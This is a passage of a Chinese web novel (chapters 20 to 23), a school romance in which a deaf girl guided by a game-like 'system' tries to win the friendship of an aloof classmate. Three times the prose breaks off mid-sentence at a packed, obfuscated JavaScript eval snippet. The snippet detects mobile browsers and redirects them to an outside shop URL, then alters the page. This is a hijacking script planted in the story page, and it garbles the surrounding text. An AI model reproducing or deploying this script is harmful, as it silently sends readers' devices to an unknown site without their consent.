又瞥见他空空如也的桌子,于是拿起手机,顺手在群里@他。 「蝉哥,你刚没去小卖部吧。」 「我给你发消息你没回,去买零食没买你的,一会儿咱俩分一包好了。」 胡挚正对着丧气的万苏瑶,分享欲爆发,把三人没买到肠的事绘声绘色地和他在群里讲了一遍。 最后说:「哎,也不知道是谁买走了?害我万姐小雪姐没口福。」 池映雪本来都要拆开包装袋了,看到群消息,突然一阵心虚。 她倒是想和瑶瑶分,但要是问起来源呢?他…… 最终决定,把玉米肠用纸包好准备拿出去吃。 与此同时,胡挚发现李闻蝉早就放下手机,没看消息,正翻着之前那本漫画,他于是口头复述。 李闻蝉:“噢。” “就是说。” 池映雪起身的动作因为这句话停顿,正好和散漫看过来的李闻蝉对上视线。 她转身面向另一边的后门,把碎发别到耳后,睫毛轻颤,很快便听见那道唯一熟悉的沉澈声音,轻如落羽。 “谁买走的?” 20. 第 20 章 周末的消息很难发,池映雪写一页题就停下来想一会儿,依旧没有思路。 她对系统嘟囔:“如果和男主交朋友能跟学习一样简单就好了。” 系统:[宿主,根据本统最近在人类社会观察得出的结论,你这种话属于“凡尔赛文学”。] 池映雪:“……” “我不是说学习成绩好很简单。” 毕竟她在七中成绩优秀也是费了很大功夫的,更何况在虹文这种名校如何,还尚未可知。 “学习的话,有一套可以量化的标准,只要我学到了有效内容,总结规律,就能取得相应的成绩,但是你没发现吗?” 池映雪伸出手指,无奈地弹了弹那颗80%以上都是灰色的好感度心心,“男主的好感根本加不动,什么指标也没有,阴晴不定的。” 池映雪扒拉着过去的聊天记录,一直到最上面,终于抬了下眉。 又让她找到这个万金油话题了。 小雪:「同桌,你这周没来上美术鉴赏,老师留了作业,下周上课要交。」 小雪:「可能大概或许会算进期末成绩?」 发消息时已经傍晚,李闻蝉迟迟没有回复,池映雪有点后悔。 不该纠结那么久的,尬聊也行呀。 他干嘛呢?要是今天过了都没回,她这一个周就白费了。 幸好,华灯初上,手机终于弹框。 CHAN:「什么?」 “不回?” 灯光繁盛的私人会所,李闻蝉将玻璃杯放下,靠在吧台上戳手机屏幕。 “不是吧……这么早就睡了?” 不远处传来一声清脆的碰撞,桌球入洞,一头张扬红发的少年把球杆随手丢下:“不打了。” 韩潇晃着一杯尼格罗尼走近李闻蝉,黑衬衣袖口的红宝石扣与发色一样晃眼,“蝉蝉,人家好不容易来内地一趟,你都不陪我玩。” 李闻蝉:“别演。” 韩潇:“呵呵。” 很好,没爱了。 李闻蝉继续上下滑着手机,头也不抬:“我看韩少不像缺爱缺关怀的人。” 说罢,注意到韩潇的视线,瞬间按灭屏幕,这才掀起眼皮示意他看那边的几个精致女孩。 都是跟着韩潇来的。韩潇这个人,同是18岁的年纪,在HK那边念国际学校,各方面都很好,就是异性桃花没断过。 韩潇眯着眼笑起来:“她们今天可不止是为我来的喔。” “无所谓,别让她们靠近就行。” “………得。”那姐几个又白跑一趟了。 “我说实话,阿蝉,你可比我受欢迎多了,就不考虑谈一段?” 李闻蝉皱起眉,不知在想什么,顺手拿起玻璃杯抿了口橘子汁:“不要,没兴趣。” “哦,没兴趣啊~” 韩潇摸了摸袖口,“可我刚怎么看到某人在和一个女孩子聊天呢?那个备注一看就是……” 玻璃杯沉闷放下的声音打断韩潇,他举起手:“好好好,不说。” “我坦白,我真不是故意看你们聊天内容的,只是很少见你盯着手机发呆。” 是真的在发呆!一向敏锐到让寻常人恐惧的这位少爷,居然连他大剌剌的偷窥都慢半拍发现。 韩潇觉得自己这个花丛高手很有必要给好友上一课:“像这种聊着聊着人跑了,绝对是在吊着你,小心思多着呢。” 李闻蝉哼了一声,一看就没信。 韩潇扶额:“喂,我说真的,晚上发一条就跑以营造次日机会,这技巧只有我这种不真诚的人才会用。” 李闻蝉:“……人家和你不一样。” “就她那胆子,还吊我。”李闻蝉嘲讽一笑,“躲着我差不多。” “得了吧,咱们这种人,怀着不纯动机接近的还不嫌多吗?”韩潇耸肩。 “尤其是被那些老头子最看好的你,可别忘了之前那个蒋傅。” 李闻蝉嘴边的淡笑变得冰冷颓然,转瞬消融,双腿交叠,慵懒闲靠着,故作玩笑:“接近,就不能是为了我这个人?” 韩潇留意到他情绪不大好,碰了碰杯,转移话题:“我来之前听说池家二房新找回来一个女儿啊,你见过没?” 李闻蝉锋眉敛起,隐晦而审视地打量了韩潇一眼,举杯无所谓道:“怎么?” “没怎么,就问问嘛,我可是和你一样对池润看不顺眼哦。而且我听说,池家还没给她办个宴会什么的宣布回归吧?” 韩潇玩味,“人家池鲤鲤那么有名,亲女儿却一点存在感都没有,我要是这个妹妹,肯定通过一切方式接近池老爷子,掌权人的认可才最重要啊。” 李闻蝉听到这番话,没有意外,反而有种做选择题的感觉。 是那种ABCD四个选项,直觉告诉他最该选这个,他却交了白卷,老师讲题时念出标准答案就是这个选项的感觉。 新旧回忆一起涌上脑海,他垂眸不语,漆黑的瞳孔复杂深沉。 韩潇:这人脸色怎么更差了。 于是他又把圈子兜回去:“对了,有关刚和你聊天那个女孩。” “你要实在不信——打个赌,敢不敢?” 池映雪昨晚故意没有一次性说完信息,收到回复后就安心地开始写题。 第二天一早起来,她睁眼就点开企鹅:「不好意思,昨晚睡得早,没看见你的回复。」 「作业题目是“我的同桌”。」 一段聊天两天用,池映雪觉得自己有点小聪明。 她又煎熬地等啊等,直到中午李闻蝉才回复。 回复了六个点。 与此同时,电子屏上弹出播报:[警告!攻略对象好感-0.5。] 池映雪:??? 她又怎么他了?! 幸好还有任务成功的提示让人不那么挫败。 [叮!“互发消息一周不间断”任务完成,更新为:“创作有关男主的作品x1,并得到夸夸”。] 又一周四的体大课。 万苏瑶从食堂叼着一袋咖啡牛奶回来,调转椅头,趴在池映雪桌子上和她一起写化学卷子。 下课铃打,万苏瑶一个方程式配平不出来,开始和着铃声按动笔头。 她在草稿纸上写字:「周末周一中秋节,收假回来马上就要月考,好烦啊!」 池映雪停下笔,点了点头。 但说实话,她有一点想考试,上次对宁世延说的话,不只是空口宣言。 她是真的想知道,能不能靠自己考进去。 万苏瑶忽然回头望向教室正门口,池映雪抬眼,抱着卷子走进来的那个男生不算陌生。 就是上次摔倒在地上,被李闻蝉关心过口腔护理的那个嘛。 池映雪:李闻蝉对平时毫无接触的同学都贴心关照,怎么到她这里就忽冷忽热成那个样子? 何骏是班上的化学课代表,手里正是昨天的小测试卷。他把卷子给各组组长分发,到了池映雪她们这一组,却顶了顶上鄂,自己从讲台走下来发放。 一边发还一边唱念。 “秋怡,83——” “万苏瑶,76——” 万苏瑶翻了个天大的白眼,池映雪担心地看向她,不知道发生了什么。 就在这时,何骏抖了抖剩下寥寥几张纸,故作夸张地叫起来:“诶诶诶!这里面怎么没有新同学的啊?” 他挑衅地笑起来,很是刺耳,万苏瑶真是庆幸池映雪听不见。 何骏摇着头在水群里公然发消息:「@小雪@……刚张老师和我说,这次小测有几人答的太差,一看就不认真学习,你们这些人卷子在他那里,等下上课挨个上去解释。」 万苏瑶把卷子拍在桌上:“张老师让你在群里发了?!” 何骏眼神无辜:“被艾特的同学都没说啥,你急什么啊?” 背后有股逼人的冷气,何骏打了个颤,一回头看见了李闻蝉,骤然后悔刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635240|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的言论。 上次他就…… 然而当何骏定睛一看,李闻蝉压根就没看他,而是拿着本《篮球飞人》沉浸在阅读中。刚才的冷风,应该是窗户没关严导致,毕竟最近降温很厉害。 何骏放下心来,接着摊手道,“谁让他们跟不上呢,我这是鞭策好吗?” 万苏瑶气不过,见池映雪已经在看群里面的消息,赶紧拿出手机,用管理员的身份撤回了消息。 「你别和他一般见识,他很有可能是冲我来的。」 她对池映雪打字,「何骏嘴贱得很,我们最早不是私下互称椅子虎子毽子吗,他以前当众喊我“窑子”,被我表哥过来揍了一顿,记恨着呢。」 池映雪点头,不善地凝了一眼何骏,又安抚性拉了拉万苏瑶的袖子,轻轻摇头表示不在乎。 和这种人计较才是浪费时间,她现在蛮关心她的化学小测。 万苏瑶也忧心:「小雪,你小测不会的很多吗?」 其实池映雪觉得自己答得还行,现在也不太确定起来。 她弱弱动笔:「空都填满了。」 万苏瑶:好家伙。 这什么回答? 上课铃响,她转过身,错愕地发现就连胡挚和李闻蝉桌上都有小测试卷。万苏瑶看看他俩,再看看乖巧书卷气的池映雪。 万苏瑶:? 教化学的张老师是个老头,背着手和大爷遛鸟一样进教室,手里还真有几张卷子。 池映雪看见了,悄悄在座位下捏紧衣摆。 李闻蝉还保持看漫画的动作,半个身子倚靠墙面,面朝讲台斜着坐。 他专注地用视线描摹黑白漫的线条,捻页的两指却收紧,在纸张上留下印痕,呼吸都凝滞。 张老师刚在讲台中心站定,一开口就是:“那个——池映雪。” 他想起徐静萌交代的情况,改口,“你们谁给她写个纸条,让池映雪同学站起来,我认认人。” 全班静得能听见吸气声,除了何骏,绝大多数人都有些担心。 李闻蝉飞快地抬起眸眺了一眼翻阅试卷的老师,突然轻轻呼出一口气,换了个舒服些的角度继续靠。 池映雪拿到万苏瑶递来的纸条,本来还很焦虑,不经意听见隔壁的细微声响,因为她的世界太寂静,这点声音也能捕捉到。 很安心的一声,带着轻松,池映雪忽然就稳下来,缓缓起身直视老师。 出乎几近所有人的意料,张老师给了她一个大大的笑脸。 “好、好!我认得你了,池映雪!” 张老师鼓了几下掌,嫌不够,隔空给池映雪比了个大拇指,“万同学你再帮我写个纸条,好好夸夸她!” “这张小测是我和一二班老师一起出的,这个难度,我敢说你们翻答案都翻不到,更别说这么大的题量。” “池映雪同学,考了满分!” 他把工整美观的试卷投影到大屏幕上,“就连一班都只有沈同学一个满分,二班直接没有,呵呵,你们要多向她学习!” 万苏瑶写着写着,没忍住探脑袋去看何骏的脸色。 ——不敢置信! ——满脸难堪! 小雪这脸打得好啊!! 万苏瑶吭哧吭哧地偷笑,写出来的字歪歪扭扭,池映雪勉强看懂,终于松了口气。 胡挚笑着看向投影,感叹了句:“牛掰啊!” 他从窗户的影子里看见还低着头的李闻蝉,忍不住回头,咳了两声。 “……那啥,蝉哥,从课间那阵我就想说你了。” “说。” 李闻蝉依然侧倚着墙壁,垂着睫没抬头,姿态较之刚才更为放松,长指一页一页将手里的漫画往后漫不经心地翻。 “截止刚刚,你盯了中间那一页投篮整整十五分钟。” 胡挚点破。 他百思不解地挠了挠头:“蝉哥,你什么时候这么喜欢藤真?” 李闻蝉:“…………” 21. 第 21 章 下课,万苏瑶在群里@何骏。 「哎呀,课代表,你考了多少分呀?」 胡挚秒跟:「课代表这工作态度不行啊,不给被搞错的同学道个歉吗?」 何骏被人提醒着看群,脸上挂不住,险些没一下子把手机摔到地上。 何骏:「一次小测而已,谁知道是运气还是某些操作,月考见真章呗。」 秋怡直接把他从水群踢了出去。 池映雪眼睛亮了一下,万苏瑶捧腹大笑:“咯咯咯……椅子KO了!” “该说不说还是我小雪姐厉害,居然和沈星桥那个变态一样考满分。” 胡挚看着池映雪的方向,一副思考者的模样,“沈神……雪神?学神!妙啊!” 李闻蝉“啧”了一声,很用力地合上漫画书。 池映雪听在耳里,用余光看右边的情形。 一个人看着她说话,另一个人面色不耐,没关好的窗户漏出一条缝的冷空气,带着下雨天前夕的潮湿和黏腻。 李闻蝉:“是,学神。” “不像咱们不学无术,一点价值都没有……”他转向胡挚,眼神却并不专注。手按漫画书,紧紧压在桌上,骨关节都微白。 “尤其是我,学习差,名声也差,除了长得帅点什么都不行。” 胡挚:? “最近还被老爷子排挤了,你说那些故意接近我来得到什么的人真该早点放手才好是吧。” 胡挚:“突然瞎说什么呢?还有,老爷子不是很看重你吗,你可是他……” 李闻蝉压着书的手一僵,又懊恼地“啧”了一声,“当我没说。” 他泄气般把漫画一推,趴在桌上,长叹了口气,含糊念叨,声音小的胡挚都听不清,“忘记了。” “她又听不到。” 池映雪整理试卷的手猛地松开,或白或黄的纸落了一地,万苏瑶弯下腰帮她捡。 其中一张落到李闻蝉脚边,池映雪低垂着头,率先去捡这一张。 染着雨前潮气的地面灰扑扑,一只冷白色的手闯入她有限的视野。 她抓回卷子,那只手很快若无其事地收回,池映雪就当没看见。 她又听不到。 上次遇见这句话是在七中念初一时,回忆以画面的形式在池映雪眼前闪过。 初一上学期,她和裴景因为机缘巧合结识,她帮了他几次,高一级的裴景成为了她第一个朋友。 发现池映雪用着老人机,连社交账号都没有,裴景研究了半天,居然真的在按键老手机上下载了企鹅和V信,帮她注册好。 名字里的emoji表情倒是后来在许苹安家的电脑上选的,老人机里只能显示一个“?”。 许苹安吐槽说,就和她平时看小说的某江一样。 刚注册好企鹅时池映雪还不怎么认得许苹安,只知道她是班长。在裴景的鼓励下,池映雪主动找到许苹安,被拉进班级的企鹅群,却正好目睹群里火热的对话。 「你们猜我刚看见了什么?pj居然和哑巴走在一起!」 「严谨点,是聋哑!」 「裴king怎么会那么没眼光,是不是哑巴偷偷跟踪他啊?」 「我觉得很有可能,她一看就很阴暗啊,整天就埋着头看书,装死了!残障考再好又有什么用啊,以后还不是没人要……」 「你们在群里说归说,别当面啊,小心被老师听见,有几个老师还挺喜欢她的。」 「老师才不管呢,而且我上次还当她面说了,又怎样?」 「她又听不到~」 ……许苹安把这些人像秋怡今天这样全都踢出去,还把池映雪设成了管理员,从此她们渐渐成为好朋友。 周四最后两节都是选修,美术鉴赏是第一节,教室在综合楼,和万苏瑶秋怡她们都不在一起。 池映雪若无其事地收拾好文件夹,从桌上趴着睡觉的李闻蝉身边路过。 低垂的马尾辫扬起一阵凉风,李闻蝉直起身,按揉着后颈,靠着椅子发呆。 “蝉哥,你又不去啊,我先去学把脉了。”胡挚朝他嘿嘿一笑,“第二节课,篮球馆见!” 李闻蝉带好黑色护腕,模糊地应了一声,没什么兴致。 美术教室和五班的独立座位不同,一共三列,两边靠墙的位置双人座,中间四座相连。教室不大,总共也就五排,讲台投影下的区域倒是很空旷,老师会摆放雕塑或画板。 池映雪临上课才来,到的时候,人基本已经满了,她习惯性选了靠墙最后一排的座位坐下。 教室门被推开,一个女生走进来,池映雪有些紧张地坐直了些。 余光里女生在她面前徘徊半晌,去了中间第一排,似乎还回头望了她好几眼。 她鼓起勇气瞥过去,女生应该和左边隔着过道的同学认识,斜一眼看完池映雪就和朋友笑着说话打闹,笑谈的内容显然有关于她。 其实上周就有这样的情况,联想到论坛的事,池映雪抿抿唇,低头假装专注地整理文件袋。 离上课还有两分钟,教室门又一次开了。 关门声轻轻响起,池映雪没抬头也知道是谁,磨了磨虎牙,捏住文件袋里的一张纸。 李闻蝉手里捻着一张纸的两个窄边,纸张从中合拢,看不见内容。 他在讲台附近往后眺望,目光从教室左边最后一排很快飘移开,接着寻找空位。 离他最近的第一排女生小声和身边人说:“我真的想去后面认识一下她。” “你去呗。”身边人坏笑着撺掇她,“谁在论坛上口嗨要认识别人的?” “坐都坐了,下周,下周一定。”女生苦笑,又偷偷看了一眼池映雪,“我社恐死了……” 要让她主动找人搭话不如让她去shi。 可是……那个池映雪真的好可怜好乖哦,清瘦小白花,她好想吸一口! “上周你也这么说,就是不敢,人家上周可是一个人坐。” “诶,你们说李闻蝉是不是要去找她坐?他们一个班的吧。” “我也好想和李闻蝉坐。” “那我都不敢和你说话了。” “对啊,完了,要是小白花以后都和他坐一块,我更不敢去搭话了……” 李闻蝉眸光平静,抬脚朝教室后排走去。 池映雪耳中,沉闷的脚步越来越清晰,直到在她身边停下。 她的手还捏着那张纸,忘记了抽出来,捏得又死又紧。 能感受到某人那股不容忽视的目光落在上面,池映雪的指尖微微颤抖。 李闻蝉又一次很快移开目光,经过她,在教室后方绕了一圈才回来。 他终于落座于池映雪身边,没看她,闲靠着椅背,不知说给谁听,“啊。” “只剩这个位子了。” 白纸被倒扣在桌面上,有一定厚度,完全看不清楚轮廓,又或者原本就空空如也。 池映雪默默合上文件袋,调整了一下呼吸,又很快打开。 她从里面取出一张纸,也学着他倒扣在桌上,又取出一张便签,在上面写字,主动推过去。 李闻蝉随意搭在腿上的手动了动,忍不住拿起来看。 「上次和你说的作业,我画了,你要先看看吗?」 上课铃在这时响起,李闻蝉耳边所有声音被叮铃铃的脆响盖过,盯着浅黄色的便签纸,没有看见身旁人不断颤抖的睫毛。 选修课的老师是一位业内有名的画家,优雅地踩点进教室,慢悠悠调整起讲台上的人体模型,不急着上课,很有一种艺术家散漫的气质。 李闻蝉放下便签纸,看着黑板,给池映 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635241|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪在桌下比了一个“OK”。 池映雪顿时松了口气。 她双膝并拢,脚尖都期盼地翘起来,微微发抖。两只手小心地拿起面前的纸,翻面过来。 李闻蝉漆黑的眼眨了眨,从黑板缓慢移向左边—— 然后再次眨眼。 纸上的东西纹丝不变。 池映雪还双手拿着画,递到他面前看,笑得腼腆。 李闻蝉倒吸一口凉气。 他伸出手,颤抖地指着眼前的画,张口又闭住,再指了指自己,流露出疑惑的眼神。 池映雪接收到了他的意思,肯定地点头。 没错,就是你! 她还低头瞅了一眼手里的画,自我感觉十分良好,不,可以说是优秀。 就是得想个办法,让李闻蝉主动开口夸她。要是还能借此让他加加好感,她就离初步的成功更进一步了。 李闻蝉:“………………” 不知道她有没有看过一组NH国画师的发疯黑白表情包。 大眼睛,三角鼻,和下巴一样粗状的脖子,头长得像个没毛的卤蛋,他都怀疑她是对着那组图画的。具体的神态还有点像胡挚最爱的表情包,龙图。 当然了,这张画纸上的“他”有毛,黑乎乎一大坨挤在头顶,看上去抽象还……敷衍。 她,就,这,样,看,他? 李闻蝉气得快笑了。 池映雪还没想好怎么开口,眼前就蹦出红色警告的弹窗,一个接一个。 [警告!攻略对象好感-0.5。] [警告!攻略对象好感-0.5。] [警告!攻略对象好感-0.5。] [当前男主好感:14.9%。] 加上周天无缘无故扣的0.5,已经连着扣了2%了,本就不多的好感雪上加霜。 池映雪忽然十分泄气。 就好像,不管再怎么努力,都真的没有用。 这不是做数学题,总存在套路可行的公式和思路,眼前的男生实远似近,不想和她产生关系,就是真的不想。 她都不懂为什么。他不说,她不敢问。 她以为他们相处的还不错。 可事实是,她把从周末画到昨晚,对照着网上有字幕的教程修改过很多遍——直到昨晚还在重新起草的一张画递到他眼前,不用提醒她也知道,他没有任何好感。 拒收巧克力是因为他不吃,那洗好的校服、故意吓唬她那些话、冷冰冰的眼神呢? 如果现在就可以张嘴说话,池映雪想问问李闻蝉你是不是讨厌我,是不是……嫌弃我。 一直被紧捏的纸张飘飘然地落地,两个人都愣着,没人去捡。 直到老师催着大家把作业交到讲台上,李闻蝉才回过神,木着脸,弯腰捡起那张画。 李闻蝉垂眼,小心翼翼地拂掉画纸沾到的细微灰尘。 他机械而僵硬地站起来,把这张纸放在自己那张的下面,去讲台上交。 池映雪全程没有抬头,似乎对于他离开好几分钟又回来的事毫不关注。 李闻蝉再次走近,只能看见女孩子厚重的刘海,似乎比之前又长了一点,盖住了底下弯弯的眉眼。 那样的眼睛,圆的时候像月亮,眯起来笑时还是像月亮,李闻蝉觉得弯月更好看。 可等他走到椅子上即将坐下的时候,只看见一只粉红色,轻轻抽动的鼻,脸颊也染着粉,泛在苍白上。 后门被风吹开,李闻蝉松开无意识揉着耳后的手,不假思索地伸胳膊关上,用身体挡住突如其来的冷空气。 在那之前,池映雪的刘海被风吹开,露出他曾见过的光洁可爱的额头。 再往下,垂落的睫毛湿润地粘在一起,她没有任何声音。 但他知道她在哭。 22. 第 22 章 第二节选修课是微积分,池映雪穿过连廊走进教室的时候,被一股强力撞了一下。 似乎还有一只手从背后推她,池映雪向前跌去时迅速抬眼,看见的就是池鲤鲤和几个小姐妹相谈甚欢的侧影。 池鲤鲤正好瞧过来,对视很短一瞬便嗤笑着走远。 池鲤鲤转过身的时候,勉强不摔倒的池映雪正好被人稳稳扶住。 冷香扑鼻,她身后的沈星桥目光关切。 清隽的眉宇蹙起,用眼神询问是否有事。 他没有松开她,手臂相贴,池映雪不习惯和人这样亲密接触,内心升起别扭的怪异。 她赶紧撤后分离,微红着脸摇了摇头。 沈星桥勾起唇,盯着池映雪仍旧泛红的眼睛一两秒,然后扫了一眼教室,用口型说:“一起坐。” 池映雪来不及反应就被他带着坐在偏前排的某处。四周都是人,很多双眼睛注视,她有些不安地缩了缩肩膀,翻开课上要用的讲义。 StarBridge:「还好吗?」 池映雪微怔,对方又发过来一个“眼睛”的emoji,配文“红了”,她才反应过来。 池映雪下意识抬手揉了揉,明明已经洗过了才来的,居然这么明显吗? 那李闻蝉……会不会也注意到了? 注意到又怎么样,还不是交完作业没坐几分钟就走了,看他手戴护腕,应该急着去打篮球吧。 现在情绪缓过来,池映雪有些羞赧。她自认是个随和的人,对谁脾气都很好,容忍度也高。 不知道为什么,偏偏在李闻蝉面前会有些“矫情”。 StarBridge:「不想告诉我也没关系。但如果你想说,我很乐意当你的倾听者。」 池映雪看着这句话愣了许久,情绪又涌上来,嗓子眼里闷闷的,可惜什么都说不出。 「我和|」 光标在打字框里闪烁,池映雪快速删掉,重新打字。 小雪:「我想和一个人当好朋友。」 她无意识地用虎牙咬住里面的唇肉,一字一字打:「但我感觉,对方不想和我当。」 StarBridge:「交朋友就是互相选择,有些人可能认为自己高人一等,瞧不上别人。」 瞧不上…… 池映雪纵然有心理准备,蓦地见到这话,眸光还是沉了沉。 StarBridge:「如果是我,没有缘分就不会强求,尽力就好。」 池映雪捧着手机,心落下来。 是呀。 不管是任务还是私心,她想要选择和李闻蝉当好朋友,但作为被选择的那一方,李闻蝉一直对她不及“友善”。 这种事就和她曾经希望过的很多事一样,强求不来的。能脱离一点原先那种被万人嫌的剧情,已经很好了,她本来就不是贪心的人。 小雪:「我想通了,沈星桥,谢谢你!」 沈星桥浅笑,忽然发来一条新消息。 「其实,我希望你说的那个人是我。」 池映雪怔了怔,又见他发来第二条:「如果是我,不会让你这样伤心。」 沈星桥很快撤回,转移了话题。 「不说这些了,你以前应该没有接触过高数,还跟得上吗?」 「你可以看我专门整理的笔记,比老师PPT里的好懂些。」 他推来一个活页本,池映雪回过神,连发了三个“谢谢”的表情包,是她从万苏瑶那里存的。 她正愁这个呢,微积分老师的PPT写的很简洁,他讲课她又听不见,回去之后不会做讲义的习题,只能自己在网上找了一个有字幕的大学老师录播课看,还不知道效果怎么样。 池映雪翻开活页本,与她看网课做的笔记对照,沈星桥笑着瞥来一眼,唇角僵住。 StarBridge:「……你都看到第四章了?」 池映雪已经把他的笔记翻到最后,停留在“中值定理”这一页。 她摇头,沈星桥松了一口气。 老师上节课只就绪论和高中内容展开介绍,池映雪应该没有这方面的基础。这么想着,沈星桥点击打字框,想要告诉她先别急着看后面的内容。 小雪:「我看到级数了。」 沈星桥:“………” 不是。 级数?沈星桥把讲义往最后翻,他们这学期的微积分选修甚至没有细讲这一章的安排。 池映雪对上他略震惊的目光,流露出不解的眼神。 她突然想到,自己可能看得太快了。可是没办法,周末复习完还有不少时间,以前在应家,这些时间只能用来洗碗、打扫、洗全家的衣物,或者去看小吃店,连一点阅读的时间都奢侈。 回到池家,每个人的休闲生活都多姿多彩:爸爸不清楚,妈妈会穿得很漂亮,去和阿姨们喝下午茶或逛街;哥哥有固定的球友,据说是去打网球、高尔夫;池鲤鲤不是在上钢琴或者其他家教课,就是和闺蜜们像上次那样打卡时髦的新店。 池映雪没有任何娱乐活动,坐在书桌前,不知不觉就把网课看到了这里。 下课后,沈星桥说要回家,发了几条消息后先行离开。 万苏瑶发消息来:「雪,我表哥来看我了。他在虹文南门那边的小吃街买了草鸡蛋糕和藕饼过来,我再让他带几杯奶茶,咱们等会儿就吃这些呗,懒得去食堂了。」 小雪:「好呀,谢谢瑶瑶,谢谢瑶瑶表哥。」 周围不断有同学从过道离开,池映雪向来会注意避开密集的人流,这下更加不紧不慢地收拾。 待到只剩她在教室的时候,才起身抱着文件袋走出门。 ——高挑修长的身影靠在连廊的起始处,印着“99”号的球衣很是眼熟,还背着一个篮球包。 李闻蝉低头调整黑色的护腕,和白皙的骨感手指形成鲜明对比,不知道什么时候来的,她一点声音也没听见。 这一块的连廊没有玻璃,油绿色栏杆后,黄叶树沁着湿湿密密的冷。 他在寒冷的雨味空气中侧过头,浓颜正对她,眼尾上扬,没有经常见到的那股顽劣笑意。 李闻蝉怎么会在这里? 池映雪下意识转身。 规定最后一个离开教室的人锁门,她双手把门关上,转动把手上锁。 但轻轻试着一拉,门又打开。 身后传来脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635242|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步声,池映雪低着头,手却和黏在了门把手一样,呆若木鸡。 直到李闻蝉的手进入视野,她和做贼一样弹开,听见他检查一番后自语:“坏了。” “老化了?……得打电话报修才行。” 池映雪听到这里,觉得自己可以走了。 她刚才看见李闻蝉的时候,其实很想露出一个无所谓的微笑,可没能做到,大脑反应过来之前就转身,回避。 也许是因为想起了一句话。 他们初见的时候,医务室里,李闻蝉背对着她找手机,忽然回头盯着她。而她条件反射,挤出一个笑容。 接着,李闻蝉转身又一次背对,很小声的嘟囔。 “不想笑就不要笑啊。” 他是无意说的,池映雪记到现在,以后也不想忘。 和沈星桥聊完后,她以为自己已经看开了,尽人事听天命嘛。 但真的站在李闻蝉面前,池映雪连勾唇都僵硬,眼睑很沉,酸酸涩涩。 缓一缓吧。 等回去调整一下情绪,下次一定一定变得“正常”。 不就是不被当成朋友。她已经有新的朋友了,她有瑶瑶,有秋怡,有许苹安和裴景。 别抱期待,别太贪心,人要学会知足。人家可是男主,凭什么一直无条件对你好? 天空又暗了一点,有风穿越在连廊中。 池映雪将文件袋抱得更紧,转过身小步走向连廊的另一头,从那里下去正好可以回班。 李闻蝉正在虹文的公众号里翻找后勤部的号码,回眸便见那道渐行渐远的背影。 他呼吸一滞,下意识伸出手。 她走的并不快,他只要伸展手臂就可以拦下,手指却停在半空中,迟疑地收了回来。 即将出口的话也在看见那双苍白的耳后卡在喉间,像一根透明的鱼刺。 李闻蝉其实没想通自己为什么会过来,又不是没见过别人哭。 可回过神之前,就从篮球馆跑到了这里。 他还有种预感。 如果就这样静静看着池映雪的背影直到消失在连廊尽头,他会失去她。 可是……如果真像这样,是不是也挺好的呢。 这不正是他期待的么。 他发誓过不再需要一段心思不纯的关系,无论亲情或友谊。 况且她不知道,远离他这种另类,对她来讲才是好事。 一条连廊的两端,池映雪已经走到尽头。闷雷突然响起,两侧的楼梯间都有学生上上下下。 即将被吞没在人群里的背影逐渐和记忆里的模糊轮廓重叠,雷声和脚步声盖过李闻蝉脱口而出的话。 “池映雪。” 声音嘈杂,他自己都没听见这句。 可说完,那道变小的身影骤停下来,停在上楼下楼的人流间,就像是被他唤住。 ——那怎么可能呢? 李闻蝉自嘲一笑,唇角却沉重,眼睛不敢眨动,逐渐泛起坏橘子般的酸。 “……对不起。” 秋雨像一滴雪花化成的眼泪,被风吹落到他唇角。 两道雷声像被深埋的心跳。 雨季到来了。 23. 第 23 章 李闻蝉走进学校正门对面的快餐店,胡挚和穆雨阳已经点好了塔可套餐,坐着玩手机等他。 胡挚先注意到他进来:“这儿呢!” 李闻蝉把篮球包拽下,想丢在沙发上,即将脱手时猛然顿住,改为轻轻放下。 他将吸管插进面前的冰可乐,吸了一大口。 “伞呢?” 李闻蝉:“包里。” 穆雨阳朝他比了个“salute”,弯腰就要去翻包,李闻蝉抬手拦住,“别动,我给你们取。” “蝉哥真好。”穆雨阳嘿嘿笑起来,本要起身,眼睛一扫,腰更低下去,“你球鞋上怎么粘着草?我帮你拿掉。” “还是蝉哥靠谱,这雨说好几天了都没来,这会子说下就下,我俩跑出来时都没想到带把伞。”胡挚拆开酱料的包装,“对了,你刚才去哪了?” 穆雨阳起身拍拍手,重新戴上手套吃芋泥饼,含糊不清问:“什么去哪,里俩不系去上篮球么?” “本来是的,但蝉哥在我旁边刚换好衣服就叹着气跑走了,过了好几分钟才发消息说要请假。” 胡挚疑惑,“蝉哥,你去干嘛了啊?” 李闻蝉咬了咬吸管,烦躁地抓着头发,余光瞥向没淋湿一丁点的篮球包。 “……我也不知道。” 与此同时,系统正趁着宿主和朋友吃饭和上级对话。 